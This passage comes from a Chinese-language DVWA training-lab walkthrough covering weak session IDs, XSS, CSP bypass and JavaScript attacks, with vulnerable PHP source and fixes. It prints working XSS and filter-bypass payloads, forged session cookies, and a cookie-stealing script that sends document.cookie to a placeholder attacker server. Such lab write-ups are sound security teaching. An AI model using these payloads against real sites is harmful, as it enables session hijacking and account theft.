$_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); // Get results if( $data->rowCount() == 1 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } } // Generate Anti-CSRF token generateSessionToken(); ?> ``` 可以看到,Impossible 级别的代码采用了 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入,Anti-CSRF token 机制的加入了进一步提高了安全性. --- ## Weak_Session_IDs 密码与证书等认证手段,一般仅仅用于登录(Login)的过程.当登录完成后,用户访问网站的页面,不可能每次浏览器请求页面时,都再使用密码认证一次.因此,当认证完成后,就需要替换一个对用户透明的凭证.这个凭证就是 SessionID. 当用户登录完成后,在服务器端就会创建一个新的会话(Session),会话中会保存用户的状态和相关信息.服务器端维护所有在线用户的 Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可.为了告诉服务器应该使用哪一个 Session,浏览器需要把当前用户持有的 SessionID 告知服务器.最常见的做法就是把 SessionID 加密后保存在 Cookie 中,因为 Cookie 会随着 HTTP 请求头发送,且受到浏览器同源策略的保护. SessionID 一旦在生命周期内被窃取,就等同于账户失窃.同时由于 SessionID 是用户登录之后才持有的认证凭证,因此黑客不需要再攻击登录过程(比如密码).Session 劫持就是一种通过窃取用户 SessionID 后,使用该 SessionID 登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效 Session.如果 SessionID 是保存在 Cookie 中的,则这种攻击可以称为 Cookie 劫持.SessionID 还可以保存在 URL 中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验. 因此,在生成 SessionID 时,需要保证足够的随机性,比如采用足够强的伪随机数生成算法. **SessionID 利用的实质** SessionID 是在登录后,作为特定用户访问站点所需的唯一内容.如果能够计算或轻易猜到该 SessionID,则攻击者将可以轻易获取访问权限,无需登录密码直接进入特定用户界面,进而查找其他漏洞如 XSS、文件上传等等. 此模块使用四种不同的方式来设置 dvwaSession 的 cookie 值,每个级别的目标是计算 ID 的生成方式,然后推断其他管理员用户的 ID. ### Low **服务器端核心代码** ```php <?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { if (!isset ($_SESSION['last_session_id'])) { $_SESSION['last_session_id'] = 0; } $_SESSION['last_session_id']++; $cookie_value = $_SESSION['last_session_id']; setcookie("dvwaSession", $cookie_value); } ?> ``` 可以看出,dvwaSession 是从 0 开始的,每次加 1. **漏洞利用** 模拟管理员登录,在浏览器 1 里,点击 Generate,Burpsuite 抓包,发送到 Repeater,go 一次 请求头中: > Cookie: dvwaSession=17; security=low; PHPSESSID=7bpga2clgq6eragltl0r5ch0g2 响应头中: > Set-Cookie: dvwaSession=18 多 go 几次,发现 dvwaSession 一直增加,每次加 1. 恶意攻击者通过寻找到上述规律,使用浏览器 2,成功构造出 payload: > Cookie: dvwaSession=18; security=low; PHPSESSID=7bpga2clgq6eragltl0r5ch0g2 `注:这里的 cookie 值要根据你自己的 dvwaSession 去计算` 在无密码认证的情况下,成功登录到界面: `http://<IP地址!!!>/vulnerabilities/weak_id/` ### Medium **服务器端核心代码** ```php <?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { $cookie_value = time(); setcookie("dvwaSession", $cookie_value); } ?> ``` 由代码可知,cookie 的值由时间而得 **漏洞利用** 模拟管理员登录,在浏览器 1 里,点击 Generate,burp 里发现: 请求头中: > Cookie: dvwaSession=19; security=medium; PHPSESSID=7bpga2clgq6eragltl0r5ch0g2 响应头中: > Set-Cookie: dvwaSession=1561346895 多 go 几次,发现 dvwaSession 和时间戳变化一致.在此,建议自行搜索 `unix时间戳` 恶意攻击者通过寻找到上述规律,使用浏览器 2,成功构造出 payload: > Cookie: dvwaSession=1561347450; PHPSESSID=7bpga2clgq6eragltl0r5ch0g2; security=medium `注:这里的 cookie 值要根据你自己的当前时间去算出来` 在无密码认证的情况下,成功登录到界面: `http://<IP地址!!!>/vulnerabilities/weak_id/` ### High **服务器端核心代码** ```php <?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { if (!isset ($_SESSION['last_session_id_high'])) { $_SESSION['last_session_id_high'] = 0; } $_SESSION['last_session_id_high']++; $cookie_value = md5($_SESSION['last_session_id_high']); setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false); } ?> ``` - **PHP setcookie()函数** `setcookie(name,value,expire,path,domain,secure,httponly)` | 参数 | 描述 | | :------- | :---------------------------------------- | | name | 必需.规定cookie的名称. | | value | 必需.规定cookie的值. | | expire | 可选.规定cookie的有效期. | | path | 可选.规定cookie的服务器路径. | | domain | 可选.规定cookie的域名. | | secure | 可选.规定是否通过安全的HTTPS连接来传输cookie. | | httponly | 可选.规定是否Cookie仅可通过HTTP协议访问. | 由源码可知: ``` value 值:last_session_id_high 自增 1,再用 md5 加密 expire 值:当前时间再加一个小时 path 值:/vulnerabilities/weak_id/ ``` **漏洞利用** 模拟管理员登录,在浏览器 1 里,点击 Generate,burp 里发现: 请求头中: > Cookie: dvwaSession=19; security=high; PHPSESSID=7bpga2clgq6eragltl0r5ch0g2 响应头中: > Set-Cookie: dvwaSession=c4ca4238a0b923820dcc509a6f75849b; expires=Mon, 24-Jun-2019 04:56:58 GMT; 多 go 几次,发现 dvwaSession 值通过 MD5 加密.将每次产生的 MD5 解密,发现解密后的值,发现和低等级中的代码一样,是从 0 开始加的. 恶意攻击者通过寻找到上述规律,使用浏览器 2,成功构造出 payload: > Cookie: dvwaSession=1F0E3DAD99908345F7439F8FFABDFFC4; security=high; PHPSESSID=7bpga2clgq6eragltl0r5ch0g2 `注:这里的 cookie 值要根据你自己的 dvwaSession 去计算 md5` `http://<IP地址!!!>/vulnerabilities/weak_id/` ### Impossible **服务器端核心代码** ```php <?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { $cookie_value = sha1(mt_rand() . time() . "Impossible"); setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true); } ?> ``` $cookie_value 采用随机数+时间戳+固定字符串"Impossible",再进行 sha1 运算,完全不能猜测到 dvwaSession 的值.实现了用户安全会话认证. --- ## XSS XSS,全称 Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS 不仅仅限于 JavaScript,还包括 flash等其它脚本语言.根据恶意代码是否存储在服务器中,XSS 可以分为存储型的XSS与反射型的XSS. DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS.例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS.DOM型XSS可能是存储型,也有可能是反射型. ### XSS(DOM) DOM,全称 Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式. DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的一种漏洞. 在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件.可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素.也就是说,客户端的脚本程序可以通过 DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行.基于这个特性,就可以利用 JS 脚本来实现 XSS 漏洞的利用. 可能触发 DOM 型 XSS 的属性 ``` document.referer 属性 window.name 属性 location 属性 innerHTML 属性 documen.write 属性 ``` #### Low **服务器端核心代码** ```php <?php # No protections, anything goes ?> ``` 简单直接,都告诉你了没有任何保护 **漏洞利用** `http://<IP地址!!!>/vulnerabilities/xss_d/?default=English<script>alert(/xss/);</script>` #### Medium **服务器端核心代码** ```php <?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?> ``` **相关函数介绍** array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false. stripos() 函数查找字符串在另一字符串中第一次出现的位置 **漏洞利用** 这里就不用 `<script>` 换一种方法 `http://<IP地址!!!>/vulnerabilities/xss_d/?default=English<input onfocus="alert('xss');" autofocus>` #### High **服务器端核心代码** ```php <?php // Is there any input? if (array_key_exists("default", $_GET) && !is_null($_GET['default'])) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header("location: ?default=English"); exit; } } ``` 这里采用了白名单,然而并没有什么鸟用 **漏洞利用** `http://<IP地址!!!>/vulnerabilities/xss_d/?default=English #<script>alert(/xss/)</script>` #### Impossible **服务器端核心代码** ```php <?php # Don't need to do anything, protction handled on the client side ?> ``` --- ### XSS(Reflected) 反射型 XSS,非持久化,需要欺骗用户自己去点击带有特定参数的 XSS 代码链接才能触发引起(服务器中没有这样的页面和内容),一般容易出现在搜索页面. #### Low **服务器端核心代码** ```php <?php header("X-XSS-Protection: 0"); // Is there any input? if (array_key_exists("name", $_GET) && $_GET['name'] != NULL) { // Feedback for end user echo '<pre>Hello ' . $_GET['name'] . '</pre>'; } ``` 可以看到,代码直接采用 get 方式传入了 name 参数,并没有任何的过滤与检查,存在明显的 XSS 漏洞. **漏洞利用** `<script>alert(/xss/)</script>` ,成功弹框: 相应的XSS链接 `http://<IP地址!!!>/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#` **实战利用盗取用户 cookies 进入后台** 攻击者自己网站 http://<服务器B>/xss/ 里构造 hacker.js ```js var img = new Image(); img.src="http://<服务器B>/xss/hacker.php?x=" + document.cookie; document.body.append(img); ``` hacker.php ```php <?php $cookie = $_GET['x']; file_put_contents('cookie.txt', $cookie); ?> ``` 于是插入 dvwa 的 xss payload 为 `<script src="http://<服务器B>/xss/hacker.js" /></script>` XSS 利用,得到 cookies #### Medium **服务器端核心代码** ```php <?php header("X-XSS-Protection: 0"); // Is there any input? if (array_key_exists("name", $_GET) && $_GET['name'] != NULL) { // Get input $name = str_replace('<script>', '', $_GET['name']); // Feedback for end user echo "<pre>Hello {$name}</pre>"; } ``` 可以看到,这里对输入进行了过滤,基于黑名单的思想,使用 str_replace 函数将输入中的 `<script>` 删除,这种防护机制是可以被轻松绕过的. **漏洞利用** 1. 双写绕过 输入`<sc<script>ript>alert(/xss/)</script>`,成功弹框: 相应的 XSS 链接: `http://<IP地址!!!>/dvwa/vulnerabilities/xss_r/?name=%3Csc%3Cscript%3Eript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#` 2. 大小写混淆绕过 输入`<ScRipt>alert(/xss/)</script>`,成功弹框: 相应的 XSS 链接: `http://<IP地址!!!>/dvwa/vulnerabilities/xss_r/?name=%3CScRipt%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#` #### High **服务器端核心代码** ```php <?php header("X-XSS-Protection: 0"); // Is there any input? if (array_key_exists("name", $_GET) && $_GET['name'] != NULL) { // Get input $name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name']); // Feedback for end user echo "<pre>Hello {$name}</pre>"; } ``` 可以看到,High 级别的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中 i 表示不区分大小写)不再有效. **漏洞利用** 虽然无法使用 `<script>` 标签注入 XSS 代码,但是可以通过 img、body 等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码. 输入 `<img src=1 onerror=alert(/xss/)>` 或 `<input onfocus="alert('xss');" autofocus>` ,成功弹框 #### Impossible **服务器端核心代码** ```php <?php // Is there any input? if (array_key_exists("name", $_GET) && $_GET['name'] != NULL) { // Check Anti-CSRF token checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php'); // Get input $name = htmlspecialchars($_GET['name']); // Feedback for end user echo "<pre>Hello {$name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ``` 可以看到,Impossible 级别的代码使用 htmlspecialchars 函数把预定义的字符 &、"、 '、<、> 转换为 HTML 实体,防止浏览器将其作为 HTML 元素. --- ### XSS(Stored) #### Low **服务器端核心代码** ```php <?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> ``` 可以看到,对输入并没有做 XSS 方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型 XSS 漏洞. **相关函数介绍** - **trim(string,charlist)** 移除字符串两侧的空白字符或其他预定义字符,预定义字符包括 `、\t、\n、\x0B、\r` 以及空格,可选参数 charlist 支持添加额外需要删除的字符. - **mysql_real_escape_string(string,connection)** 函数会对字符串中的特殊符号 `\x00,\n,\r,\,‘,",\x1a` 进行转义. - **stripslashes(string)** 函数删除字符串中的反斜杠. **漏洞利用** name 一栏前端有字数限制,可以直接修改前端代码,也可以抓包修改 message 一栏输入 `<script>alert(/xss/)</script>` ,成功弹框 #### Medium **服务器端核心代码** ```php <?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> ``` **相关函数介绍** strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用 `<b>` 标签. addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串. 可以看到,由于对 message 参数使用了 htmlspecialchars 函数进行编码,因此无法再通过 message 参数注入 XSS 代码,但是对于 name 参数,只是简单过滤了 `<script>` 字符串,仍然存在存储型的XSS. **漏洞利用** 1. 双写绕过 直接修改前端代码改 name 参数为 `<sc<script>ript>alert(/xss/)</script>` ,成功弹框 2. 大小写混淆绕过 直接修改前端代码改 name 参数为 `<Script>alert(/xss/)</script>` ,成功弹框 #### High **服务器端核心代码** ```php <?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> ``` 可以看到,这里使用正则表达式过滤了 `<script>` 标签,但是却忽略了 img、iframe 等其它危险的标签,因此 name 参数依旧存在存储型 XSS. **漏洞利用** 直接修改前端代码改 name 参数为 `<img src=1 onerror=alert(/xss/)>` ,成功弹框 #### Impossible **服务器端核心代码** ```php <?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?> ``` 可以看到,通过使用 htmlspecialchars 函数,解决了 XSS,但是要注意的是,如果 htmlspecialchars 函数使用不当,攻击者就可以通过编码的方式绕过函数进行 XSS 注入,尤其是 DOM 型的 XSS. --- ## CSP_Bypass CSP 就是浏览器的安全策略,如果标签,或者是服务器中返回 HTTP 头中有 Content-Security-Policy 标签 ,浏览器会根据标签里面的内容,判断哪些资源可以加载或执行. CSP 相关教程:https://www.ruanyifeng.com/blog/2016/09/csp.html DVWA 中需求也是很简单的,输入被信任的资源,就能加载或执行资源了. ### Low **服务器端核心代码** ```php <?php $headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics. header($headerCSP); # https://pastebin.com/raw/R570EE00 if (isset($_POST['include'])) { $page['body'] .= "\r\n <script src='" . $_POST['include'] . "'></script>\r\n"; } $page['body'] .= ' <form name="csp" method="POST"> <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p> <input size="50" type="text" name="include" value="" id="include" /> <input type="submit" value="Include" /> </form> '; ``` 如果不看源码的话.看检查器(F12),也可以知道一些被信任的网站. 当中的 pastebin 是什么网站呢?一个快速分享文本内容的网站,假如文本的内容是一段 js 代码呢? 源码中提示我们的, 输入 https://pastebin.com/raw/VqHmJKjr 其内容是 `alert(document.cookie)` 那么能如何进行攻击呢? 可以用 CSRF ```html <form action="http://<IP地址!!!> /dvwa/vulnerabilities/csp/" id="csp" method="post"> <input type="text" name="include" value=""/> </form> <script> var form = document.getElementById("csp"); form[0].value="https://pastebin.com/raw/VqHmJKjr"; form.submit(); </script> ``` ### Medium **服务器端核心代码** ```php <?php $headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';"; header($headerCSP); // Disable XSS protections so that inline alert boxes will work header("X-XSS-Protection: 0"); # <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script> if (isset($_POST['include'])) { $page['body'] .= "\r\n " . $_POST['include'] . "\r\n"; } $page['body'] .= ' <form name="csp" method="POST"> <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p> <input size="50" type="text" name="include" value="" id="include" /> <input type="submit" value="Include" /> </form> '; ``` 中级的问题在于使用了 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=' 这个标签, 也就是说如果你输入 `<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>` 是能注入成功的. ### High **服务器端核心代码** ```php <?php $headerCSP = "Content-Security-Policy: script-src 'self';"; header($headerCSP); if (isset($_POST['include'])) { $page['body'] .= "\r\n " . $_POST['include'] . "\r\n"; } $page['body'] .= ' <form name="csp" method="POST"> <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p> <p>1+2+3+4+5=<span id="answer"></span></p> <input type="button" id="solve" value="Solve the sum" /> </form> <script src="source/high.js"></script> '; ``` 高级就改变了形式了,点击按钮会得到答案,而这个答案是用 JSONP 的方式获得的.(常用于跨越请求)而且 cps 也设置为只信任自己的域名了 `Content-Security-Policy: script-src 'self';` 点击后发请求的逻辑在 vulnerabilities/csp/source/high.js 中 ```js function clickButton() { var s = document.createElement("script"); s.src = "source/jsonp.php?callback=solveSum"; document.body.appendChild(s); } function solveSum(obj) { if ("answer" in obj) { document.getElementById("answer").innerHTML = obj['answer']; } } var solve_button = document.getElementById ("solve"); if (solve_button) { solve_button.addEventListener("click", function() { clickButton(); }); } ``` 先说下这里的逻辑是什么吧. 1. 客户端点击按钮后,会在 html 中创建 `<script src="<IP地址!!!>/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script>` 这样的标签 2. 因为 script 不同于 ajax,所以可以跨域发送的 3. 服务器就根据 callback 请求,返回 solveSum({"answer":"15"}) , 就可以调用 high.js 中的 solveSum . 但如果有人将 callback 参数改成 `callback=alert(document.cookie)` 呢? 返回的会是 `alert(document.cookie)//({"answer":"15"}) `... 所以这是一个注入点 ### Impossible **服务器端核心代码** ```php <?php $headerCSP = "Content-Security-Policy: script-src 'self';"; header($headerCSP); ?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= " " . $_POST['include'] . " "; } $page[ 'body' ] .= ' <form name="csp" method="POST"> <p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p> <p>1+2+3+4+5=<span id="answer"></span></p> <input type="button" id="solve" value="Solve the sum" /> </form> <script src="source/impossible.js"></script> '; ``` 就没有 url 中的 callback 了,后台写死了 --- ## JavaScript_Attacks 提交"success"一词来获胜.不是,这打 CTF 呢? <p align="center"> <img src="../../../../../assets/img/Security/RedTeam/Web安全/靶场/dvwa/dvwa72.png"> </p> ### Low **服务器端核心代码** ```php <?php $page[ 'body' ] .= <<<EOF <script> /* MD5 code from here https://github.com/blueimp/JavaScript-MD5 */ !function(n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16) i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8) r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1) r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8) r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1) u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1) t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 